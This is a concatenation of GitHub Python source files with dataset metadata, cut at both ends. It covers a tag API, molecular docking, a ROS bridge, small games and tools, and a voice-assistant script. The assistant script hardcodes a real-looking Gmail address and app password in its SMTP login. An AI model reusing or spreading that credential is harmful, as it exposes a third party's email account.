CustomException('Cannot found post', 404)\n data = resp.json().get('profile')\n list_post = []\n data_index = [x.get('user_id') for x in data]\n for element in post_paginated:\n index = data_index.index(element.author_id)\n json = element.to_json_summary(data[index])\n json['is_liked'] = False\n if current_user_id is not None:\n like = element.like.filter_by(user_id=current_user_id).first()\n if like is not None:\n json['is_liked'] = True\n list_post.append(json)\n is_followed = False\n if current_user_id is not None:\n print(current_user_id)\n tag_user = Tag_user.query.filter(Tag_user.tag_id == tag_id, Tag_user.user_id == current_user_id).first()\n print(tag_user)\n if tag_user is not None:\n is_followed = True\n return jsonify({\n 'tag_id': tags.tag_id,\n 'tag_name': tags.name,\n 'url_image': tags.url_image,\n 'Post': list_post,\n 'is_followed': is_followed,\n 'page': page,\n 'itemPerPage': itemPerPage,\n 'total_pages': num_page,\n 'total': total,\n 'num_follower': num_user}), 200\n","repo_name":"Nathan-Nhat/Microservice","sub_path":"post_service/app/api/api_tags.py","file_name":"api_tags.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3262599597","text":"#!/usr/bin/env python\n\nimport sys, os\nfrom mpi4py import MPI\nfrom deepunion import docking, builder\n\n\"\"\"\nDocking Routine\n\nperform docking with vina with MPI \n\n\"\"\"\n\n\ndef do_docking():\n\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n size = comm.Get_size()\n\n if rank == 0:\n keep_codes = []\n with open(sys.argv[1]) as lines:\n pdb_codes = [x.strip(\"\\n\") for x in lines]\n #print(pdb_codes)\n\n for c in pdb_codes:\n if not os.path.exists(\"%s/%s_vinaout.pdbqt\"%(c, c)) and os.path.exists(\"%s/%s_protein.pdb.pdbqt\"%(c, c)):\n keep_codes.append(c)\n print(keep_codes)\n chunk = int(len(keep_codes) / size)\n\n input_lists = []\n for i in range(size-1):\n input_lists.append(keep_codes[i*chunk: i*chunk+chunk])\n input_lists.append(keep_codes[(size-1)*chunk:])\n else:\n input_lists = None\n\n inputs = comm.scatter(input_lists, root=0)\n\n for c in inputs:\n\n rec = \"%s/%s_protein.pdb.pdbqt\" % (c, c)\n\n #process the ligand\n lig = \"%s/%s_ligand.mol2\" % (c, c)\n docking.pdb2pdbqt(lig, lig + \".pdbqt\", )\n docking.pdb2pdbqt(lig, lig + \".pdb\", keep_polarH=False)\n\n if os.path.exists(rec) and os.path.exists(lig+\".pdbqt\"):\n\n try:\n out = \"%s/%s_vinaout.pdbqt\" %(c, c)\n log = \"%s/log_vina.log\" % c\n\n config = \"%s/vina.config\" % c\n\n if not os.path.exists(out):\n rec_prep = docking.ReceptorPrepare(rec)\n # rec_prep.receptor_addH(\"H_\"+rec)\n xyz_c = rec_prep.pocket_center(LIG=lig + \".pdb\")\n\n # docking.pdb2pdbqt(rec, \"temp.pdbqt\")\n # job = sp.Popen(\"awk '$1 ~ /ATOM/ {print $0}' temp.pdbqt > %s.pdbqt\" % rec, shell=True)\n # job.communicate()\n vina = docking.VinaDocking()\n vina.vina_config(rec, lig + \".pdbqt\", out, 16, 8, xyz_c, [20, 20, 20], log,\n n_modes=20, config=config)\n vina.run_docking()\n\n print(\"COMPLETE on rank %d: %s\" %(rank, c))\n except:\n print(\"FAIL on rank %d: %s\" % (rank, c))\n\nif __name__ == \"__main__\":\n do_docking()\n\n","repo_name":"zhenglz/deepunion","sub_path":"deepunion/test/docking_MPI.py","file_name":"docking_MPI.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"43087129615","text":"from opendr.engine.data import Image\nfrom opendr.engine.target import Pose, BoundingBoxList, BoundingBox\nimport numpy as np\nfrom cv_bridge import CvBridge\nfrom vision_msgs.msg import Detection2DArray, Detection2D, BoundingBox2D, ObjectHypothesisWithPose\nfrom geometry_msgs.msg import Pose2D\n\n\nclass ROSBridge:\n \"\"\"\n This class provides an interface to convert OpenDR data types and targets into ROS-compatible ones similar to CvBridge.\n For each data type X two methods are provided:\n from_ros_X: which converts the ROS equivalent of X into OpenDR data type\n to_ros_X: which converts the OpenDR data type into the ROS equivalent of X\n \"\"\"\n\n def __init__(self):\n self._cv_bridge = CvBridge()\n\n def from_ros_image(self, message, encoding='bgr8'):\n \"\"\"\n Converts a ROS Image into an OpenDR image\n :param message: ROS image to be converted\n :type message: sensor_msgs.msg.Img\n :param encoding: encoding to be used for the conversion (inherited from CvBridge)\n :type encoding: str\n :return: OpenDR image\n :rtype: engine.data.Image\n \"\"\"\n cv_image = self._cv_bridge.imgmsg_to_cv2(message, desired_encoding=encoding)\n image = Image(np.asarray(cv_image, dtype=np.uint8))\n return image\n\n def to_ros_image(self, image, encoding='bgr8'):\n \"\"\"\n Converts an OpenDR image into a ROS image\n :param image: OpenDR image to be converted\n :type image: engine.data.Image\n :param encoding: encoding to be used for the conversion (inherited from CvBridge)\n :type encoding: str\n :return: ROS image\n :rtype: sensor_msgs.msg.Img\n \"\"\"\n message = self._cv_bridge.cv2_to_imgmsg(image, encoding=encoding)\n return message\n\n def to_ros_pose(self, pose):\n \"\"\"\n Converts an OpenDR pose into a Detection2DArray msg that can carry the same information\n Each keypoint is represented as a bbox centered at the keypoint with zero width/height. The subject id is also\n embedded on each keypoint (stored in ObjectHypothesisWithPose).\n :param pose: OpenDR pose to be converted\n :type pose: engine.target.Pose\n :return: ROS message with the pose\n :rtype: vision_msgs.msg.Detection2DArray\n \"\"\"\n data = pose.data\n keypoints = Detection2DArray()\n for i in range(data.shape[0]):\n keypoint = Detection2D()\n keypoint.bbox = BoundingBox2D()\n keypoint.results.append(ObjectHypothesisWithPose())\n keypoint.bbox.center = Pose2D()\n keypoint.bbox.center.x = data[i][0]\n keypoint.bbox.center.y = data[i][1]\n keypoint.bbox.size_x = 0\n keypoint.bbox.size_y = 0\n keypoint.results[0].id = pose.id\n if pose.confidence:\n keypoint.results[0].score = pose.confidence\n keypoints.detections.append(keypoint)\n return keypoints\n\n def from_ros_pose(self, ros_pose):\n \"\"\"\n Converts a ROS message with pose payload into an OpenDR pose\n :param ros_pose: the pose to be converted (represented as vision_msgs.msg.Detection2DArray)\n :type ros_pose: vision_msgs.msg.Detection2DArray\n :return: an OpenDR pose\n :rtype: engine.target.Pose\n \"\"\"\n keypoints = ros_pose.detections\n data = []\n pose_id, confidence = None, None\n\n for keypoint in keypoints:\n data.append(keypoint.bbox.center.x)\n data.append(keypoint.bbox.center.y)\n confidence = keypoint.results[0].score\n pose_id = keypoint.results[0].id\n data = np.asarray(data).reshape((-1, 2))\n\n pose = Pose(data, confidence)\n pose.id = pose_id\n return pose\n\n def to_ros_boxes(self, box_list):\n \"\"\"\n Converts an OpenDR BoundingBoxList into a Detection2DArray msg that can carry the same information.\n Each bounding box is represented by its center coordinates as well as its width/height dimensions.\n :param box_list: OpenDR bounding boxes to be converted\n :type box_list: engine.target.BoundingBoxList\n :return: ROS message with the bounding boxes\n :rtype: vision_msgs.msg.Detection2DArray\n \"\"\"\n boxes = box_list.data\n ros_boxes = Detection2DArray()\n for idx, box in enumerate(boxes):\n ros_box = Detection2D()\n ros_box.bbox = BoundingBox2D()\n ros_box.results.append(ObjectHypothesisWithPose())\n ros_box.bbox.center = Pose2D()\n ros_box.bbox.center.x = box.left + box.width / 2.\n ros_box.bbox.center.y = box.top + box.height / 2.\n ros_box.bbox.size_x = box.width\n ros_box.bbox.size_y = box.height\n ros_box.results[0].id = box.name\n if box.confidence:\n ros_box.results[0].score = box.confidence\n ros_boxes.detections.append(ros_box)\n return ros_boxes\n\n def from_ros_boxes(self, ros_detections):\n \"\"\"\n Converts a ROS message with bounding boxes into an OpenDR BoundingBoxList\n :param ros_detections: the boxes to be converted (represented as vision_msgs.msg.Detection2DArray)\n :type ros_detections: vision_msgs.msg.Detection2DArray\n :return: an OpenDR BoundingBoxList\n :rtype: engine.target.BoundingBoxList\n \"\"\"\n ros_boxes = ros_detections.detections\n bboxes = BoundingBoxList(boxes=[])\n\n for idx, box in enumerate(ros_boxes):\n width = box.bbox.size_x\n height = box.bbox.size_y\n left = box.bbox.center.x - width / 2.\n top = box.bbox.center.y - height / 2.\n id = box.results[0].id\n bbox = BoundingBox(top=top, left=left, width=width, height=height, name=id)\n bboxes.data.append(bbox)\n\n return bboxes\n","repo_name":"passalis/demos","sub_path":"projects/opendr_ws/src/ros_bridge/src/opendr_bridge/bridge.py","file_name":"bridge.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9461317396","text":"import asyncio\nimport re\nfrom autopr.actions.base import Action\nfrom pydantic import BaseModel\nimport os\n\nfile_patterns = [\n r\"\\.DS_Store$\",\n r\"Thumbs\\.db$\",\n r\"\\.log$\",\n r\"\\.bak$\",\n r\"\\.tmp$\",\n r\"\\.swp$\",\n r\"\\.gitignore$\",\n r\"\\.npmignore$\",\n r\"\\.gitattributes$\",\n r\"\\.env$\",\n r\"\\.classpath$\",\n r\"\\.project$\",\n r\"\\.pytest_cache$\",\n]\n\nNON_INFORMATIVE_FILES = re.compile(\"|\".join(file_patterns))\n\ndir_patterns = [\n r\"\\.git/?\",\n r\"\\.svn/?\",\n r\"node_modules/?\",\n r\"__pycache__/?\",\n r\"\\.idea/?\",\n r\"\\.vscode/?\",\n r\"\\.hg/?\",\n r\"\\.dockerignore/?\",\n r\"\\.settings/?\",\n r\"bin/?\",\n r\"build/?\",\n r\"dist/?\",\n r\"out/?\",\n r\".*\\.egg-info/?\",\n r\".*\\.dist-info/?\",\n]\n\nNON_INFORMATIVE_DIRECTORIES = re.compile(\"|\".join(dir_patterns))\n\n\nclass Inputs(BaseModel):\n # Files and subfolders to ignore during the crawl\n entries_to_ignore: list[str] = []\n\n # The folder to crawl\n folder_path: str\n\n # Whether to ignore binary files\n ignore_binary_files: bool = True\n\n\nclass Outputs(BaseModel):\n # The contents of the folder\n contents: list[str]\n # The url of the crawled folder\n url: str\n\n\nclass ListFolder(Action[Inputs, Outputs]):\n \"\"\"\n This action lists all the files and subfolders in a folder, excluding certain files and directories.\n \"\"\"\n\n id = \"list_folder\"\n\n @staticmethod\n def is_binary(path):\n return b\"\\x00\" in open(path, \"rb\").read(1024)\n\n async def run(self, inputs: Inputs) -> Outputs:\n all_file_entries = os.listdir(inputs.folder_path) or []\n file_entries_to_return = []\n\n for el in sorted(all_file_entries):\n full_path = os.path.join(inputs.folder_path, el)\n\n if el in inputs.entries_to_ignore:\n continue\n if os.path.isfile(full_path) and self.is_binary(full_path):\n continue\n if NON_INFORMATIVE_FILES.match(el):\n continue\n if NON_INFORMATIVE_DIRECTORIES.match(el):\n continue\n\n file_entries_to_return.append(el)\n\n url = await self.platform_service.get_file_url(\n inputs.folder_path, self.publish_service.base_branch\n )\n return Outputs(contents=file_entries_to_return, url=url)\n\n\nif __name__ == \"__main__\":\n from autopr.tests.utils import run_action_manually\n\n asyncio.run(\n # Run the action manually\n run_action_manually(\n action=ListFolder,\n inputs=Inputs(folder_path=os.path.join(os.getcwd(), \"..\")),\n )\n )\n","repo_name":"irgolic/AutoPR","sub_path":"autopr/actions/list_folder.py","file_name":"list_folder.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":1126,"dataset":"github-code","pt":"37"} +{"seq_id":"22560813089","text":"from art import logo,vs\nfrom game_data import data\nimport random\nfrom os import system\n#display art \nprint(logo)\nscore = 0\ngame_continue = True\naccount_b = random.choice(data)\n\ndef format_data(account):\n \"\"\"formate the account data into printable format\"\"\"\n account_name = account['name']\n account_descr = account['description']\n account_country = account['country']\n return f\"{account_name}, a {account_descr} from {account_country}\"\n\ndef answer_checking(guess,a_followers ,b_followers):\n \"\"\"checks users guess is correct or not\"\"\"\n if a_followers > b_followers:\n return guess == \"a\"\n else:\n return guess == \"b\"\nwhile game_continue:\n #Generate a random account from the game data\n account_a = account_b\n account_b = random.choice(data)\n if account_a == account_b:\n account_b = random.choice(data)\n\n print(f\"Compare A: {format_data(account_a)}\")\n print(vs)\n print(f\"Compare B: {format_data(account_b)}\")\n\n\n #ask user for a guess\n guess = input(\"who has more followers? Type 'A' or 'B': \").lower()\n\n\n #check if user is correct\n ## Get folllower count of each account\n a_followers_count = account_a[\"follower_count\"]\n b_followers_count = account_b[\"follower_count\"]\n\n is_correct = answer_checking(guess, a_followers_count,b_followers_count)\n\n #clear the screen between the rounds\n system(\"clear\")\n print(logo)\n ## use if statement to check if user is correct\n if is_correct:\n score += 1\n print(f\"There you are..! it's right 🔥 your current score is {score}\")\n else:\n game_continue = False\n print(f\"ohh...that's wrong...🥱.. Your final score is {score}\")\n\n\n\n","repo_name":"SHrEE-7/Python-100-Days_of_Code","sub_path":"Python-code/Day_14/higher_lower.py","file_name":"higher_lower.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18706564948","text":"from main import Main\r\nimport sublime, sublime_plugin\r\n#import os\r\n\r\nclass LogAnalyzerCommand(sublime_plugin.TextCommand):\r\n def run(self, edit):\r\n #self.view.insert(edit, 0, \"Hello, World!\")\r\n file_name = sublime.active_window().active_view().file_name()\r\n\r\n log_analyzer = Main(file_name, sublime.packages_path() + \"/settings.json\", sublime.packages_path() + '/modified_file.log')\r\n log_analyzer.perform_analysis()\r\n #sublime.status_message(\"current_dir:\" + os.path.abspath(os.curdir))\r\n\r\n sublime.active_window().open_file(log_analyzer.output_filename)\r\n\r\n sublime.active_window().active_view().settings().set(\"syntax\", \"log_analyzer.tmLanguage\")\r\n #sublime.active_window().active_view().settings().set(\"syntax\", \"Python/Python.tmLanguage\")\r\n #sublime.status_message(str(sublime.active_window().settings().get(\"syntax\")))","repo_name":"romanthekat/archive-sublime-log-analyzer","sub_path":"log_analyzer.py","file_name":"log_analyzer.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24745302752","text":"import slovnik \r\nimport pandas as pd\r\n\r\nslovnik_loaded = slovnik.load_slovnik(obnoviti=False) \r\nslovnik = slovnik.prepare_slovnik(slovnik_loaded['words']) \r\n\r\n \r\nimport wordfreq_copy as wordfreq\r\n\r\ndef freq_of_row(cell, lang):\r\n if isinstance( cell, set or list ) or isinstance( cell, list ): \r\n return max( list( map(lambda z: wordfreq.zipf_frequency( z, lang ), cell) ) )\r\n if isinstance( cell, str ): \r\n return wordfreq.zipf_frequency( cell, lang )\r\n\r\nLANGS = \"isv en ru uk be pl cs sk bg mk sr hr sl de nl eo\".split(' ')\r\nLANGS_2 = LANGS[1:13]\r\n\r\nlang_scores = dict({\r\n 'en': 0.5, \r\n 'ru': 1, \r\n 'be': 0.5, \r\n 'uk': 0.5, \r\n 'pl': 1, \r\n 'cs': 0.5, \r\n 'sk': 0.5, \r\n 'bg': 0.5,\r\n 'mk': 0.5, \r\n 'sr': 0.5,\r\n 'hr': 0.5,\r\n 'sl': 0.5, \r\n })\r\n\r\n\r\nfor lang in LANGS_2:\r\n slovnik[f'freq ({lang})'] = slovnik[lang].apply(lambda x: freq_of_row(x, lang) )\r\n\r\nfor i, row in slovnik.iterrows():\r\n accumulate = 0\r\n for lang in LANGS_2:\r\n lang_key = f'freq ({lang})'\r\n accumulate += lang_scores[lang]*row[lang_key]\r\n slovnik['frequency'][i] = accumulate/len(LANGS_2)\r\n\r\n## udaliti vse kolony kromě medžuslovjanskoj:\r\n# for lang in LANGS_2:\r\n# slovnik = slovnik.drop( f'freq ({lang})', axis=1 )\r\n\r\nslovnik = slovnik.sort_values(\"frequency\", ascending=False)\r\n\r\nwith pd.ExcelWriter(\"freq_all_langs.xlsx\") as writer:\r\n slovnik.to_excel(writer)\r\n \r\n","repo_name":"medzuslovjansky/Interslavic-words-frequency-list","sub_path":"createlist.py","file_name":"createlist.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3285026129","text":"import pyttsx3 #pip install pyttsx3\r\nimport speech_recognition as sr #pip install speechRecognition\r\nimport datetime\r\nimport wikipedia #pip install wikipedia\r\nimport webbrowser\r\nimport os\r\nimport smtplib\r\nimport socket, threading\r\nimport sys\r\n\r\nclass DevNull:\r\n def write(self, msg):\r\n pass\r\n \r\nsys.stderr = DevNull()\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\n#print(voices[1].id)\r\n\r\nengine.setProperty('voice', voices[1].id)\r\n\r\n#chatapp\r\ndef accept_client():\r\n while True:\r\n #accept \r\n cli_sock, cli_add = ser_sock.accept()\r\n CONNECTION_LIST.append(cli_sock)\r\n thread_client = threading.Thread(target = broadcast_usr, args=[cli_sock])\r\n thread_client.start()\r\n\r\ndef broadcast_usr(cli_sock):\r\n while True:\r\n try:\r\n data = cli_sock.recv(20801)\r\n if data:\r\n b_usr(cli_sock, data)\r\n except Exception as x:\r\n print(x.message)\r\n break\r\n\r\ndef b_usr(cs_sock, msg):\r\n for client in CONNECTION_LIST:\r\n if client != cs_sock:\r\n client.send(msg)\r\n\r\n#assistant\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\n\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n if hour>=0 and hour<12:\r\n speak(\"Good Morning!\")\r\n\r\n elif hour>=12 and hour<18:\r\n speak(\"Good Afternoon!\") \r\n\r\n else:\r\n speak(\"Good Evening!\") \r\n\r\n speak(\"I am Ruby Sir. Please tell me how may I help you\")\r\n print(\"1. Open wikipedia(followed by the term to be searched on wikipedia)\")\r\n print(\"2. Open chat application\")\r\n print(\"3. Share file\")\r\n print(\"4. Open google.com\")\r\n print(\"5. Open stackoverflow.com\")\r\n print(\"6. Open youtube.com\")\r\n print(\"7. Play music\")\r\n print(\"8. What's the time?\")\r\n print(\"9. Send email\")\r\n print(\"10. Quit Application\")\r\n\r\ndef takeCommand():\r\n #It takes microphone input from the user and returns string output\r\n\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening...\")\r\n r.pause_threshold = 1\r\n audio = r.listen(source)\r\n\r\n try:\r\n print(\"Recognizing...\") \r\n query = r.recognize_google(audio, language='en-in')\r\n print(f\"User said: {query}\\n\")\r\n speak(f\"User said: {query}\")\r\n\r\n except Exception as e:\r\n #print(e) \r\n print(\"Say that again please...\") \r\n return \"None\"\r\n return query\r\n\r\ndef sendEmail(to, content):\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n server.login('saurabhrituraj04@gmail.com', 'omruwhvyijzrphur')\r\n server.sendmail('saurabhrituraj04@gmail.com', to, content)\r\n server.close()\r\n\r\nif __name__ == \"__main__\":\r\n wishMe()\r\n while True:\r\n query = takeCommand().lower()\r\n #query = 'open chat application'\r\n if 'wikipedia' in query:\r\n speak('Searching Wikipedia...')\r\n query = query.replace(\"wikipedia\", \"\")\r\n results = wikipedia.summary(query, sentences=4)\r\n speak(\"According to Wikipedia\")\r\n print(results)\r\n speak(results)\r\n\r\n elif 'open youtube' in query:\r\n speak(\"Opening Youtube.com\")\r\n webbrowser.open(\"youtube.com\")\r\n\r\n elif 'open chat application' in query:\r\n speak(\"Opening command line based chat application\")\r\n CONNECTION_LIST = []\r\n\r\n # socket\r\n ser_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n # bind\r\n HOST = 'localhost'\r\n PORT = 3000\r\n ser_sock.bind((HOST, PORT))\r\n\r\n #listen \r\n ser_sock.listen(1)\r\n print('Chat server started on port : ' + str(PORT))\r\n\r\n thread_ac = threading.Thread(target = accept_client)\r\n thread_ac.start()\r\n os.system(\"start cmd /c Python C:\\\\--path-to-\\\\client.py\")\r\n os.system(\"start cmd /c Python C:\\\\--path-to-\\\\client.py\")\r\n os.system(\"pause\")\r\n ser_sock.close()\r\n \r\n elif 'share file' in query:\r\n speak(\"Looking for a client to share files with\")\r\n CONNECTION_LIST = []\r\n # socket\r\n ser_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n # bind\r\n HOST = localhost\r\n PORT = 3000\r\n ser_sock.bind((HOST, PORT))\r\n #listen \r\n ser_sock.listen(1)\r\n print(HOST)\r\n print(\"Waiting for any incoming connections ... \")\r\n os.system(\"start cmd /c Python C:\\\\--path-to-\\\\fileclient.py\")\r\n conn, addr = ser_sock.accept()\r\n speak(f\"{addr} Has connected to the server\")\r\n filename = input(str(\"Please enter the filename of the file : \"))\r\n file = open(filename , 'rb')\r\n file_data = file.read(99999999)\r\n conn.send(file_data)\r\n os.system(\"pause\")\r\n print(\"Data has been transmitted successfully\")\r\n\r\n\r\n elif 'open google' in query:\r\n speak(\"Opening Google.com\")\r\n webbrowser.open(\"google.com\")\r\n\r\n elif 'open stackoverflow' in query:\r\n speak(\"Opening stackoverflow.com\")\r\n webbrowser.open(\"stackoverflow.com\",new=0) \r\n\r\n\r\n elif 'play music' in query:\r\n music_dir = \"C:\\\\--path-to\\\\songs\"\r\n songs = os.listdir(music_dir)\r\n print(songs) \r\n os.startfile(os.path.join(music_dir, songs[1]))\r\n\r\n elif 'the time' in query:\r\n strTime = datetime.datetime.now().strftime(\"%H:%M:%S\") \r\n speak(\"Sir, the time is \" + strTime)\r\n\r\n elif 'thanks' in query:\r\n speak(\"Thanks for using. Good Bye! Take Care! quitting!!\")\r\n exit(0)\r\n elif 'exit' in query:\r\n speak(\"Thanks for using. Good Bye! Take Care! quitting!!\")\r\n exit(0)\r\n\r\n elif 'send email' in query:\r\n try:\r\n speak(\"Enter email address\")\r\n to = input(\"Enter email address here.. @: \")\r\n speak(\"What should I say?\")\r\n content = takeCommand() \r\n sendEmail(to, content)\r\n speak(\"Email has been sent!\")\r\n except Exception as e:\r\n print(e)\r\n speak(\"Sorry my friend. I am not able to send this email\")\r\n elif 'about you' in query:\r\n speak(\"I am ruby, your system assistant. i was developed by Rituraj Saurabh and Salini Binu as their mini project of computer networks paper.\")\r\n speak(\"I understand following commands:\")\r\n print(\"1. Open wikipedia(followed by the term to be searched on wikipedia)\")\r\n print(\"2. Open chat application\")\r\n print(\"3. Share files\")\r\n print(\"4. Open google.com\")\r\n print(\"5. Open stackoverflow.com\")\r\n print(\"6. Open youtube.com\")\r\n print(\"7. Play music\")\r\n print(\"8. What's the time?\")\r\n print(\"9. Send email\")\r\n print(\"10. Quit Application\")\r\n speak(\"Open wikipedia\")\r\n speak(\"Open chat application\")\r\n speak(\"share files\")\r\n speak(\"open google\")\r\n speak(\"open stackoverflow\")\r\n speak(\"open youtube\")\r\n speak(\"play music\")\r\n speak(\"what's the time\")\r\n speak(\"send email\")\r\n speak(\"quit application\")\r\n \r\n else:\r\n speak(\"i don't know. try something else!\")\r\n","repo_name":"rituraj97/Desktop-Voice-Assistant-Ruby-","sub_path":"ruby.py","file_name":"ruby.py","file_ext":"py","file_size_in_byte":9455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"14691500442","text":"try:\n\tfrom zcrmsdk.src.com.zoho.crm.api.exception import SDKException\n\tfrom zcrmsdk.src.com.zoho.crm.api.util import Constants\nexcept Exception:\n\tfrom ..exception import SDKException\n\tfrom ..util import Constants\n\n\nclass Node(object):\n\tdef __init__(self):\n\t\t\"\"\"Creates an instance of Node\"\"\"\n\n\t\tself.__pos_y = None\n\t\tself.__pos_x = None\n\t\tself.__start_node = None\n\t\tself.__screen = None\n\t\tself.__key_modified = dict()\n\n\tdef get_pos_y(self):\n\t\t\"\"\"\n\t\tThe method to get the pos_y\n\n\t\tReturns:\n\t\t\tint: An int representing the pos_y\n\t\t\"\"\"\n\n\t\treturn self.__pos_y\n\n\tdef set_pos_y(self, pos_y):\n\t\t\"\"\"\n\t\tThe method to set the value to pos_y\n\n\t\tParameters:\n\t\t\tpos_y (int) : An int representing the pos_y\n\t\t\"\"\"\n\n\t\tif pos_y is not None and not isinstance(pos_y, int):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: pos_y EXPECTED TYPE: int', None, None)\n\t\t\n\t\tself.__pos_y = pos_y\n\t\tself.__key_modified['pos_y'] = 1\n\n\tdef get_pos_x(self):\n\t\t\"\"\"\n\t\tThe method to get the pos_x\n\n\t\tReturns:\n\t\t\tint: An int representing the pos_x\n\t\t\"\"\"\n\n\t\treturn self.__pos_x\n\n\tdef set_pos_x(self, pos_x):\n\t\t\"\"\"\n\t\tThe method to set the value to pos_x\n\n\t\tParameters:\n\t\t\tpos_x (int) : An int representing the pos_x\n\t\t\"\"\"\n\n\t\tif pos_x is not None and not isinstance(pos_x, int):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: pos_x EXPECTED TYPE: int', None, None)\n\t\t\n\t\tself.__pos_x = pos_x\n\t\tself.__key_modified['pos_x'] = 1\n\n\tdef get_start_node(self):\n\t\t\"\"\"\n\t\tThe method to get the start_node\n\n\t\tReturns:\n\t\t\tbool: A bool representing the start_node\n\t\t\"\"\"\n\n\t\treturn self.__start_node\n\n\tdef set_start_node(self, start_node):\n\t\t\"\"\"\n\t\tThe method to set the value to start_node\n\n\t\tParameters:\n\t\t\tstart_node (bool) : A bool representing the start_node\n\t\t\"\"\"\n\n\t\tif start_node is not None and not isinstance(start_node, bool):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: start_node EXPECTED TYPE: bool', None, None)\n\t\t\n\t\tself.__start_node = start_node\n\t\tself.__key_modified['start_node'] = 1\n\n\tdef get_screen(self):\n\t\t\"\"\"\n\t\tThe method to get the screen\n\n\t\tReturns:\n\t\t\tScreen: An instance of Screen\n\t\t\"\"\"\n\n\t\treturn self.__screen\n\n\tdef set_screen(self, screen):\n\t\t\"\"\"\n\t\tThe method to set the value to screen\n\n\t\tParameters:\n\t\t\tscreen (Screen) : An instance of Screen\n\t\t\"\"\"\n\n\t\ttry:\n\t\t\tfrom zcrmsdk.src.com.zoho.crm.api.wizards.screen import Screen\n\t\texcept Exception:\n\t\t\tfrom .screen import Screen\n\n\t\tif screen is not None and not isinstance(screen, Screen):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: screen EXPECTED TYPE: Screen', None, None)\n\t\t\n\t\tself.__screen = screen\n\t\tself.__key_modified['screen'] = 1\n\n\tdef is_key_modified(self, key):\n\t\t\"\"\"\n\t\tThe method to check if the user has modified the given key\n\n\t\tParameters:\n\t\t\tkey (string) : A string representing the key\n\n\t\tReturns:\n\t\t\tint: An int representing the modification\n\t\t\"\"\"\n\n\t\tif key is not None and not isinstance(key, str):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: key EXPECTED TYPE: str', None, None)\n\t\t\n\t\tif key in self.__key_modified:\n\t\t\treturn self.__key_modified.get(key)\n\t\t\n\t\treturn None\n\n\tdef set_key_modified(self, key, modification):\n\t\t\"\"\"\n\t\tThe method to mark the given key as modified\n\n\t\tParameters:\n\t\t\tkey (string) : A string representing the key\n\t\t\tmodification (int) : An int representing the modification\n\t\t\"\"\"\n\n\t\tif key is not None and not isinstance(key, str):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: key EXPECTED TYPE: str', None, None)\n\t\t\n\t\tif modification is not None and not isinstance(modification, int):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: modification EXPECTED TYPE: int', None, None)\n\t\t\n\t\tself.__key_modified[key] = modification\n","repo_name":"zoho/zohocrm-python-sdk-2.1","sub_path":"zcrmsdk/src/com/zoho/crm/api/wizards/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"6772019489","text":"# Defines the belief distribution and update for the 2D Multi-Object Search domain;\n#\n# The belief distribution is represented as a Histogram (or Tabular representation).\n# Since the observation only contains mapping from object id to their location,\n# the belief update has no leverage on the shape of the sensing region; this is\n# makes the belief update algorithm more general to any sensing region but then\n# requires updating the belief by iterating over the state space in a nested\n# loop. The alternative is to use particle representation but also object-oriented.\n# We try both here.\n#\n# We can directly make use of the Histogram and Particle classes in pomdp_py.\nimport pomdp_py\nimport random\nimport copy\nfrom ..domain.state import *\n\nclass MosOOBelief(pomdp_py.OOBelief):\n \"\"\"This is needed to make sure the belief is sampling the right\n type of State for this problem.\"\"\"\n def __init__(self, robot_id, object_beliefs):\n \"\"\"\n robot_id (int): The id of the robot that has this belief.\n object_beliefs (objid -> GenerativeDistribution)\n (includes robot)\n \"\"\"\n self.robot_id = robot_id\n super().__init__(object_beliefs)\n\n def mpe(self, **kwargs):\n return MosOOState(pomdp_py.OOBelief.mpe(self, **kwargs).object_states)\n\n def random(self, **kwargs):\n return MosOOState(pomdp_py.OOBelief.random(self, **kwargs).object_states)\n\n\ndef initialize_belief(dim, robot_id, object_ids, prior={},\n representation=\"histogram\", robot_orientations={}, num_particles=100):\n \"\"\"\n Returns a GenerativeDistribution that is the belief representation for\n the multi-object search problem.\n\n Args:\n dim (tuple): a tuple (width, length) of the search space gridworld.\n robot_id (int): robot id that this belief is initialized for.\n object_ids (dict): a set of object ids that we want to model the belief distribution\n over; They are `assumed` to be the target objects, not obstacles,\n because the robot doesn't really care about obstacle locations and\n modeling them just adds computation cost.\n prior (dict): A mapping {(objid|robot_id) -> {(x,y) -> [0,1]}}. If used, then \n all locations not included in the prior will be treated to have 0 probability.\n If unspecified for an object, then the belief over that object is assumed\n to be a uniform distribution.\n robot_orientations (dict): Mapping from 